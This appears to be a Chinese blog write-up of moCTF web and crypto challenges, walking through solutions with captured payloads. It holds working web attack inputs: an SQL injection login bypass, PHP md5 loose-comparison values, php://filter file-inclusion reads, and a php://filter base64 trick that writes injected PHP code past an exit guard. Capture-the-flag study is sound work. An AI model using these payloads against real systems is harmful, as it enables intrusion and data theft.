PRELOADER

当前文章 : 《moCTF部分web&crypto解题思路(一)》

12/2/2019 —— 

前言

本渣渣由于在比赛中被打的太狠了,找到一个新的平台感觉还不错,简单记录几题解题思路

CTF平台 moCTF:http://www.moctf.com/challenges

一道水题

点击链接,点击F12键就会得到

还是水题

点击链接,打开F12进行查看就会看到方框被js禁止,更改一下就可以了

最后就会得到答案:

访问限制

点击链接就会得到:只允许使用NAIVE浏览器访问!

使用burp进行抓包

更改User-Agent: NAIVE

机器蛇

点击链接打开看到一个游戏界面(不玩游戏的我表示蒙蒙的)查看源代码,在最后会找到

进入这个url中就会看到

好像看到flag了(HHHHHHH)

进入页面我是蒙蒙的什么也没有(QAQ)

查看源代码就会得到答案

PHP黑魔法

打开链接根据题目描述,使用备份文件扫描工具

就会得到:http://119.23.73.3:5001/web5/index.php~

进入备份文件,查看源代码

?php

    $flag="moctf{**************}";

    if (isset($_GET['a'])&&isset($_GET['b'])) {
        $a=$_GET['a'];
        $b=$_GET['b'];


        if($a==$b) 
        {
            echo "<center>Wrong Answer!</center>";
        }
        else {
            if(md5($a)==md5($b)) 
            {
                echo "<center>".$flag."</center>"; 
                echo "By:daoyuan";
            }
            else echo "<center>Wrong Answer!</center>";
        }

    }
    else echo "<center>濂藉儚灏戜簡鐐逛粈涔�</center>"; 
?>

关于ND5的代码审计,没有难度附一个链接:PHP 弱类型与黑魔法

直接构造一个:?a=240610708&b=QNKCDZO

就会得到答案:

我想要钱

点击链接发现是代码审计问题

<?php
include "flag.php";
highlight_file(__FILE__);

if (isset($_GET['money'])) {
$money=$_GET['money'];
if(strlen($money)<=4&&$money>time()&&!is_array($money))
{
echo $flag;
echo "<!--By:daoyuan-->";
}
else echo "Wrong Answer!";
}
else echo "Wrong Answer!";
?>

代码中的关键内容:

1.money传参长度不能超过4;

2.值必须大于time();

3.money不能是数组。

下面科普一下time()。

time() 是指返回自 Unix 纪元(January 1 1970 00:00:00 GMT)起的当前时间的秒数的函数,

主要用来获取当前的系统时间,返回的结果是一个time_t类型(PHP time() 函数

按照上面的要求随手测一下:?money=1e11

最后得到flag:moctf{I_ne4d_much_m0ney}

登录就对了

点击链接进去很明显是属于sql注入问题

使用用户名:admin'#,密码:2143254;

就可以登陆成功,查看源代码就会得到答案

文件包含

这一题属于一个简单的文件包含问题,点击链接进入,查看源代码

<html>
<!-- flag.php -->
Welcome to MOCTF!
</html>

用php伪协议可以读源码。

构造url:?file=php://filter/read=convert.base64-encode/resource=flag.php

把得到的字符串base64解码就行了。

暴跳老板

点击链接进行抓包,会在burp中看到

接下来就是

最后得到答案:moctf{00.oo_BBoo_0os}

美味的饼干

这一题涉及到cookie,感觉还好

发现一串base64字符串。解码看一下是md5,再解密。得到user

Flag在哪?

抓包发现,点击get flag之后,会连续访问如下几个页面:

flag.php
where_is_flag.php
I_have_a_flag.php
I_have_a_frog.php
no_flag.php

根据提示PPAP,搜了一下PPAP的歌词,如下

I have a pen,I have an apple.
(Uhh~)Apple-pen!
I have a pen,I have pineapple.
(Uhh~)Pineapple-pen!
Apple-pen~Pineapple-pen(Uhh\h~)
Pen-Pineapple-Apple-pen!
Pen-Pineapple-Apple-pen!

所以猜测flag的可能有:

flagfrog.php
frogflag.php
flag-frog.php
frog-flag.php

最后得到答案:moctf{wh4re_1s_The_F149}

没时间解释了

进入后,发现url为 http://119.23.73.3:5006/web2/index2.php 。于是抓包,发现302重定向,得到提示:May be u need uploadsomething.php。

访问上传页面,随便上传一个,

filename: admin
concet: admin
路径:http://119.23.73.3:5006/web2/uploads/550d7c7c2a0c1d0dc373959b7d403de1d6783582/admin

访问,显示too low,猜测应该是,上传文件会在一定的时间删除吗,并且路径不变。于是bp.intrude走一波。

GET /web2/uploadsomething.php?filename=admin&content=admin HTTP/1.1
Host: 119.23.73.3:5006
Proxy-Connection: keep-alive
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

a=§1§

attack后 ,浏览器访问

http://119.23.73.3:5006/web2/uploads/550d7c7c2a0c1d0dc373959b7d403de1d6783582/admin 即可得到flag

详细步骤

打开链接:

进行抓包,打开后就是这个样子,,然后看到url为index2.php—->所以我们把它改为index.php(用burp抓包才行,这是一个302跳转)。

看到它提示我们要uploadsomething.php。访问得到

之后写入

然后访问这个给的url,发现给了too slow。知道这是一个时间竞争的题目。这时我开始尝试写脚本。

本以为会秒解flag,后来才知道天真。。

得到的结果仍然是 太慢了、、、

这是开始换burp。使用burp的Intruder模块。一个发包一个抓包。这样时间就快了很多(记下详细过程)

抓包:

这个页面。之后抓第二个页面http://119.23.73.3:5006/web2/uploads/d964568c52300731686522454cbc46fb0497dc78/bxs

(这里就是不断访问这个页面)

还需要调整一个内容

因为我们没有payload,所以要调整为NULL

开启这attack

就会得到flag:

死亡退出

题目代码:

<?php
  show_source(__FILE__);
  $c="<?php exit;?>";
  @$c.=$_POST['c'];
  @$filename=$_POST['file']; 
  if(!isset($filename))
  {   
file_put_contents('tmp.php', ''); 
  } 
  @file_put_contents($filename, $c);
  include('tmp.php');
?>

注意: $c .= $_POST[‘c’];里面的.=相当于+=

分析代码:

  1. post传参c和file
  2. POST的数据$c接在<?php exit;?>后面。
  3. 将$c的内容存放到tmp.php这个文件中。
  4. 包含tmp.php这个文件。

结合题目中的提示:

flag在flag.php

所以可以推断出,要在c中包含flag.php

不过前面的那个exit;映了题目死亡退出。。。

Google搜到一篇P牛讲php://filter绕过<?php exit;?>的文章,要点如下:

  1. 使用php://filter流的base64-decode函数特性去除死亡exit。
  2. base64编码中只包含64个可打印字符,PHP在解码时,遇到这64字符之外的字符,就会跳过。
  3. 所以,<?php exit;?>这句代码经过base64-decode,就会变成phpexit。
  4. phpexit一共7个字符,base64解码时是4个byte一组,所以再增加一个字符,比如a,凑够两组,8个字符,phpexita被正常解码,后面的我们构造的代码也被正常解码。

所以代码:

<?php echo file_get_contents("flag.php");?>

base64编码得:

PD9waHAgZWNobyBmaWxlX2dldF9jb250ZW50cygiZmxhZy5waHAiKTs/Pg==

所以,构造POST请求如下:

file=php://filter/write=convert.base64-decode/resource=tmp.php&c=aPD9waHAgZWNobyBmaWxlX2dldF9jb250ZW50cygiZmxhZy5waHAiKTs/Pg==

然后,审查元素……flag在注释里……

火眼金睛

基本思路就是脚本get网页内容,对moctf计数,结果post过去。

不过自己写了个脚本,返回总是错误,问了一下实验室大佬@咸鱼,加了PHOSESSID的cookie就好了。

脚本如下(py3):

from bs4 import BeautifulSoup
import requests
r = requests.get('http://119.23.73.3:5001/web10/')
cookie = r.cookies['PHPSESSID']
bsOjb = BeautifulSoup(r.content, 'html.parser')
txt = bsOjb.find('textarea').text
cnt = txt.count('moctf')
postData = {'answer':cnt}
postCookie = dict(PHPSESSID=cookie)
r = requests.post('http://119.23.73.3:5001/web10/work.php',data=postData,cookies=postCookie)
print(cnt)
print(r)
print(r.text)

密码学

数据库密码

题目密文:

D8EA7326QE6EC5916ACCDX6E0VC9D264C63

数一下,发现35个字符

去掉其中不属于md5的字符,变为:

D8EA7326E6EC5916ACCD6E0C9D264C63

丢到CMD5中就会得到答案:https://www.cmd5.com/

最后答案:moctf{key123}

rot大法好

题目给了提示rot。

回忆一下以前的知识,有个rot13:

26个字母,平均分成两半,各13各字母,第一部分A-M,第二部分N-Z
rot13的过程就是:把A-M映射到N-Z,把N-Z映射到A-M
第一遍rot13加密,第二遍rot13就是解密了。(表述可能不太好,看不懂可以自己去搜qwq)

不过题目给的明显是个反转的字符串,我们先要反转过来,再rot13。

>>> a = '}rQbpar_gbE{sgpbz'
>>> b = a[::-1]
>>> b
'zbpgs{Ebg_rapbQr}'

使用rot13就会得到答案:moctf{Rot_encoDe}

奇怪汉字

显而易见的是当铺密码,Google一下具体内容https://baike.baidu.com/item/%E5%BD%93%E9%93%BA%E5%AF%86%E7%A0%81

脚本放上去:

s = '由口中 由由夫 由由口 由由口 由中由'
  d = {'由':'1', '口':'0', '中':'2', '夫':'7'}
  result = ''
  for i in s:
  if i in d:
  result += d[i]
  else:
  result += i
  print(result)

当铺解密结果:102 117 110 110 121

想了一下是否是八进制转化,得到的不对,十进制试一下就可以得到答案:moctf{funy}

就是这个feel

看见题目的我也是蒙蒙的:恰恰 恰恰恰 恰绑恰绑 恰 绑绑恰绑{恰恰绑 恰恰恰 恰恰恰 恰绑绑}

只有恰和绑两种,推测是摩斯密码,且大括号前面的字符解出来应该是moctf

moctf摩斯加密后,得:

--/---/-.-./-/..-.

所以,恰对应-,绑对应.:

--/---/-.-./-/..-.{--./---/---/-..}

解摩斯密码得:

moctf{GOOD}

然后,根据题目提示

Hint1: 最新更新:flag没有空格,都是小写字母。

最后的答案:moctf{good}

贝斯族谱

解题思路:经过n次base64解密之后就会得到:

使用栅栏密码进行解密:

最后就是凯撒就可以得到答案:

最后得到答案:moctf{s1mple_crypt0}

总结

个人还是太渣了,还有几道web没有做出来,以后会更新的,两道密码学没有AK